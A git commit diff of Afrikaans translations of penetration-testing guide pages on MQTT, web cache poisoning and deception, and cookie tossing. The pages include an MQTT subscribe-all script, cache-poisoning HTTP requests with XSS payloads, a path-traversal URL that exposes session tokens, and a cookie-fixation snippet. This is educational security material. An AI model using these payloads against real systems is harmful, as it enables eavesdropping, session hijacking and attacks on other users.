Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui

This commit is contained in:
Translator 2025-03-24 11:34:12 +00:00
parent 7a7985eec8
commit d26b576b10
4 changed files with 126 additions and 122 deletions

View File

@ -4,7 +4,7 @@
## Basiese Inligting
**MQ Telemetry Transport (MQTT)** is bekend as 'n **publiseer/teken in boodskap protokol** wat uitstaan vir sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en werk oor netwerke wat gekenmerk word deur lae bandwydte, hoë latensie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in om die gebruik van netwerkbandwydte te minimaliseer en die vraag op toestel hulpbronne te verminder. Daarbenewens poog dit om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringswaarborg te bied. Hierdie doelwitte maak MQTT uiters geskik vir die opkomende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te verbind. Boonop is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe van kardinale belang is.
**MQ Telemetry Transport (MQTT)** is bekend as 'n **publiseer/teken in boodskap protokol** wat uitstaan vir sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en oor netwerke werk wat gekenmerk word deur lae bandwydte, hoë latensie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in om die gebruik van netwerkbandwydte te minimaliseer en die vraag op toestel hulpbronne te verminder. Boonop poog dit om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringswaarborg te bied. Hierdie doelwitte maak MQTT uiters geskik vir die opkomende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te verbind. Verder is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe van kardinale belang is.
**Standaard poort:** 1883
```
@ -13,7 +13,7 @@ PORT STATE SERVICE REASON
```
## Inspecting the traffic
Wanneer 'n **CONNECT** pakket deur MQTT brokers ontvang word, word 'n **CONNACK** pakket teruggestuur. Hierdie pakket bevat 'n terugkode wat van kardinale belang is om die verbintenisstatus te verstaan. 'n Terugkode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant dui 'n terugkode van **0x05** aan dat die geloofsbriewe ongeldig is, wat die verbinding voorkom.
Wanneer 'n **CONNECT** pakket deur MQTT-brokers ontvang word, word 'n **CONNACK** pakket teruggestuur. Hierdie pakket bevat 'n terugkode wat noodsaaklik is om die verbindsstatus te verstaan. 'n Terugkode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant dui 'n terugkode van **0x05** aan dat die geloofsbriewe ongeldig is, wat die verbinding voorkom.
Byvoorbeeld, as die broker die verbinding weier weens ongeldig geloofsbriewe, sal die scenario iets soos volg lyk:
```
@ -28,7 +28,7 @@ Byvoorbeeld, as die broker die verbinding weier weens ongeldig geloofsbriewe, sa
## Pentesting MQTT
**Outentisering is heeltemal opsioneel** en selfs al word outentisering uitgevoer, **word versleuteling nie standaard gebruik nie** (akkrediteer is in duidelike teks gestuur). MITM-aanvalle kan steeds uitgevoer word om wagwoorde te steel.
**Outentisering is heeltemal opsioneel** en selfs al word outentisering uitgevoer, **word versleuteling nie standaard gebruik nie** (akkrediteer word in duidelike teks gestuur). MITM-aanvalle kan steeds uitgevoer word om wagwoorde te steel.
Om met 'n MQTT-diens te verbind, kan jy gebruik maak van: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) en jouself aan al die onderwerpe te inteken deur:
```
@ -36,13 +36,13 @@ Om met 'n MQTT-diens te verbind, kan jy gebruik maak van: [https://github.com/ba
> subscribe "#" 1
> subscribe "$SYS/#"
```
Jy kan ook gebruik maak van:
U kan ook gebruik maak van:
```bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
```
Of jy kan **hierdie kode uitvoer om te probeer om met 'n MQTT-diens te verbind sonder outentisering, op elke onderwerp te inteken en hulle te luister**:
Of jy kan **hierdie kode uitvoer om te probeer om met 'n MQTT-diens te verbind sonder verifikasie, op elke onderwerp te inteken en hulle te luister**:
```python
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
@ -71,10 +71,6 @@ client.loop_start()
if __name__ == "__main__":
main()
```
## Meer inligting
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
### Die Publiseer/Inteken Patroon <a href="#b667" id="b667"></a>
Die publiseer/inteken model bestaan uit:
@ -82,7 +78,7 @@ Die publiseer/inteken model bestaan uit:
- **Publisher**: publiseer 'n boodskap na een (of meer) onderwerp(e) in die broker.
- **Subscriber**: teken in op een (of meer) onderwerp(e) in die broker en ontvang al die boodskappe wat van die publisher gestuur word.
- **Broker**: roeteer al die boodskappe van die publishers na die subscribers.
- **Topic**: bestaan uit een of meer vlakke wat geskei word deur 'n skuins streep (bv., /smartshouse/livingroom/temperature).
- **Topic**: bestaan uit een of meer vlakke wat geskei word deur 'n skuinsstreep (bv., /smartshouse/livingroom/temperature).
### Pakket Formaat <a href="#f15a" id="f15a"></a>
@ -92,16 +88,16 @@ Elke MQTT-pakket bevat 'n vaste kop (Figuur 02).Figuur 02: Vaste Kop
### Pakket Tipes
- CONNECT (1): Begin deur die kliënt om 'n verbinding met die bediener aan te vra.
- CONNECT (1): Begin deur die kliënt om 'n verbinding met die bediener te versoek.
- CONNACK (2): Die bediener se erkenning van 'n suksesvolle verbinding.
- PUBLISH (3): Gebruik om 'n boodskap van die kliënt na die bediener of omgekeerd te stuur.
- PUBACK (4): Erkenning van 'n PUBLISH-pakket.
- PUBREC (5): Deel van 'n boodskap afleweringsprotokol wat verseker dat die boodskap ontvang word.
- PUBREL (6): Verdere sekerheid in boodskapaflewering, wat 'n boodskapvrystelling aandui.
- PUBREL (6): Verdere versekerings in boodskapaflewering, wat 'n boodskapvrystelling aandui.
- PUBCOMP (7): Finale deel van die boodskap afleweringsprotokol, wat voltooiing aandui.
- SUBSCRIBE (8): 'n Kliënt se versoek om na boodskappe van 'n onderwerp te luister.
- SUBACK (9): Die bediener se erkenning van 'n SUBSCRIBE versoek.
- UNSUBSCRIBE (10): 'n Kliënt se versoek om te stop om boodskappe van 'n onderwerp te ontvang.
- UNSUBSCRIBE (10): 'n Kliënt se versoek om te stop met die ontvangs van boodskappe van 'n onderwerp.
- UNSUBACK (11): Die bediener se reaksie op 'n UNSUBSCRIBE versoek.
- PINGREQ (12): 'n Hartklop boodskap wat deur die kliënt gestuur word.
- PINGRESP (13): Die bediener se reaksie op die hartklop boodskap.

View File

@ -6,8 +6,8 @@
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
>
> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
## Cache Poisoning
@ -15,17 +15,17 @@ Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om klië
Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis word vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die betrokke bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang.
### Ontdekking: Kontroleer HTTP koptekste
Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteks wees wat dit aandui**, jy kan kyk watter koptekste jy op hierdie pos moet let: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteken wees wat dit aandui**, jy kan kyk watter koptekste jy moet aandag gee in hierdie pos: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Ontdekking: Cache foutkodes
### Ontdekking: Caching foutkodes
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kopteks te stuur**, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kopteken te stuur**, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
Jy kan meer opsies vind in:
@ -37,13 +37,13 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w
### Ontdekking: Identifiseer en evalueer ongekykte insette
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteken `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Ontlok 'n skadelike reaksie van die agterkant bediener
### Ontlok 'n skadelike reaksie van die agtergrondbediener
Met die parameter/kop geïdentifiseer, kyk hoe dit **gesanitiseer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
Met die parameter/kop wat geïdentifiseer is, kyk hoe dit **skoon gemaak** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
### Kry die reaksie in die cache
@ -52,18 +52,18 @@ Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **para
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees, aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe aan te dui** wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleuteld nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer wat hy teiken, ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.
Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die teiken slagoffer ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.
Een meer kop wat verband hou met die cache is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy-cache was.
Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk.
## Exploiteringsvoorbeelde
## Exploitering Voorbeelde
### Eenvoudigste voorbeeld
'n Kop soos `X-Forwarded-For` word in die reaksie ongesanitiseer gereflekteer.\
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal :
'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal ervaar:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -77,9 +77,17 @@ _Note dat dit 'n versoek na `/en?region=uk` sal vergiftig en nie na `/en` nie_
cache-poisoning-to-dos.md
{{#endref}}
### Cache vergiftiging deur CDNs
In **[hierdie skrywe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** word die volgende eenvoudige scenario verduidelik:
- Die CDN sal enigiets onder `/share/` kas.
- Die CDN sal NIE `%2F..%2F` decodeer of normaliseer nie, daarom kan dit gebruik word as **pad traversie om toegang te verkry tot ander sensitiewe plekke wat gekas sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Die webbediener SAL `%2F..%2F` decodeer en normaliseer, en sal antwoordgee met `/api/auth/session`, wat **die auth token bevat**.
### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te benut
Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige cache antwoord laai.
Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige kasantwoord laai.
```html
GET / HTTP/1.1
Host: vulnerable.com
@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
### Cache vergiftiging met pad traversering om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` gegee sal word, gegee sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` gegee sal word, sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
Dit word ook beter verduidelik in:
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, stel en `X-Forwarded-Scheme` na `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** stuur en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -156,19 +164,19 @@ Voorbeeld gebruik: `wcvs -u example.com`
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
### GitHub CP-DoS
Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache-sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.
Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.
### GitLab + GCP CP-DoS
GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te lewer. Dit kan ook die metode `PURGE` ondersteun.
GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
### Rack Middleware (Ruby on Rails)
In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop in te stel as die versoek se skema. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 omleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer omlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
### 403 and Storage Buckets
@ -176,15 +184,15 @@ Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Bl
### Injecting Keyed Parameters
Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
Caches sluit dikwels spesifieke GET parameters in die cache sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request fout.
### User Agent Rules
Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies, kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
### Illegal Header Fields
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request-antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400-fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request-fout sou lewer.
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400 fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request fout sou lewer.
### Finding new headers
@ -194,7 +202,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan
Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** word om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
Ander dinge om te toets:
@ -206,10 +214,10 @@ Ander dinge om te toets:
- _Gebruik minder bekende uitbreidings soos_ `.avif`
Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggestuur word en die cache-bediener gaan die resultaat stoor.\
Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\
Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiers toegang verkry en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **lêers** **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **cache** lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
Leer hier oor hoe om [Cache Deceptions-aanvalle uit te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

View File

@ -6,31 +6,32 @@
As 'n aanvaller **'n subdomein of die domein van 'n maatskappy kan beheer of 'n XSS in 'n subdomein vind**, sal hy in staat wees om hierdie aanval uit te voer.
Soos aangedui in die Koekie Hacking afdeling, wanneer 'n **koekie aan 'n domein (wat dit spesifiseer) gestel word, sal dit in die domein en subdomeine gebruik word.**
Soos aangedui in die Koekies Hacking afdeling, wanneer 'n **koekie aan 'n domein (wat dit spesifiseer) gestel word, sal dit in die domein en subdomeine gebruik word.**
> [!CAUTION]
> Daarom, **sal 'n aanvaller in staat wees om 'n spesifieke koekie aan die domein en subdomeine te stel deur iets soos** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
Dit kan gevaarlik wees aangesien die aanvaller dalk in staat is om:
- **Die koekie van die slagoffer aan die aanvaller se rekening te fixe** sodat as die gebruiker nie oplet nie, **hy die aksies in die aanvaller se rekening sal uitvoer** en die aanvaller mag interessante inligting verkry (kyk na die geskiedenis van die gebruiker se soektogte op die platform, die slagoffer mag sy kredietkaart in die rekening stel...)
- **Die koekie van die slagoffer aan die aanvaller se rekening te fixe** sodat as die gebruiker nie opgemerk nie, **hy die aksies in die aanvaller se rekening sal uitvoer** en die aanvaller mag interessante inligting verkry (kyk na die geskiedenis van die soektogte van die gebruiker op die platform, die slagoffer mag sy kredietkaart in die rekening stel...)
- 'n Voorbeeld hiervan [kan hier gevind word](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) waar die aanvaller sy koekie in spesifieke afdelings stel wat 'n slagoffer sal gebruik om **toegang tot sy git repos te autoriseer, maar vanaf die aanvaller se rekening** aangesien hy sy koekies in die nodige eindpunte sal stel.
- As die **koekie nie verander na aanmelding nie**, kan die aanvaller net **'n koekie fixe (sessie-fixasie)**, wag totdat die slagoffer aanmeld en dan **daardie koekie gebruik om as die slagoffer aan te meld**.
- Soms, selfs al verander die sessie koekies, gebruik die aanvaller die vorige een en sal hy ook die nuwe een ontvang.
- As die **koekie 'n aanvanklike waarde stel** (soos in flask waar die **koekie** die **CSRF-token** van die sessie kan **stel** en hierdie waarde sal gehandhaaf word nadat die slagoffer aanmeld), kan die **aanvaller hierdie bekende waarde stel en dit dan misbruik** (in daardie scenario kan die aanvaller dan die gebruiker dwing om 'n CSRF-versoek uit te voer aangesien hy die CSRF-token ken).
- Net soos om die waarde te stel, kan die aanvaller ook 'n nie-geverifieerde koekie wat deur die bediener gegenereer is, verkry, die CSRF-token daaruit haal en dit gebruik.
- Soms, selfs al verander die sessie koekies, gebruik die aanvaller die vorige een en hy sal ook die nuwe een ontvang.
- As die **koekie 'n aanvanklike waarde stel** (soos in flask waar die **koekie** die **CSRF token** van die sessie mag **stel** en hierdie waarde sal gehandhaaf word nadat die slagoffer aanmeld), kan die **aanvaller hierdie bekende waarde stel en dit dan misbruik** (in daardie scenario kan die aanvaller dan die gebruiker dwing om 'n CSRF versoek uit te voer aangesien hy die CSRF token ken).
